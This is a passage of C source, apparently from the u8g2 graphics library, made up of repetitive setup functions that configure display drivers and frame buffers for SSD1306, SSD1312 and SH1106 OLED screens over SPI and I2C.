tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_128x64_alt0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_128x64_alt0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_128x64_alt0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_128x64_alt0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_128x64_alt0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1312 */ /* ssd1312 1 */ void u8g2_Setup_ssd1312_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1312 2 */ void u8g2_Setup_ssd1312_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1312 f */ void u8g2_Setup_ssd1312_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1312 */ /* ssd1312 1 */ void u8g2_Setup_ssd1312_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1312 2 */ void u8g2_Setup_ssd1312_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1312 f */ void u8g2_Setup_ssd1312_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_72x40_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_72x40_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_72x40_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_i2c_72x40_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_i2c_72x40_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_i2c_72x40_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_96x40_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_96x39_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_96x40_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_96x39_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_96x40_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_96x39_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 */ /* ssd1306 1 */ void u8g2_Setup_ssd1306_i2c_96x40_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_96x39_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 2 */ void u8g2_Setup_ssd1306_i2c_96x40_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_96x39_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1306 f */ void u8g2_Setup_ssd1306_i2c_96x40_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1306_i2c_96x39_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 */ /* sh1106 1 */ void u8g2_Setup_sh1106_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_128x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 2 */ void u8g2_Setup_sh1106_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_128x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 f */ void u8g2_Setup_sh1106_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_128x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 */ /* sh1106 1 */ void u8g2_Setup_sh1106_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_i2c_128x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 2 */ void u8g2_Setup_sh1106_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_i2c_128x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 f */ void u8g2_Setup_sh1106_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); 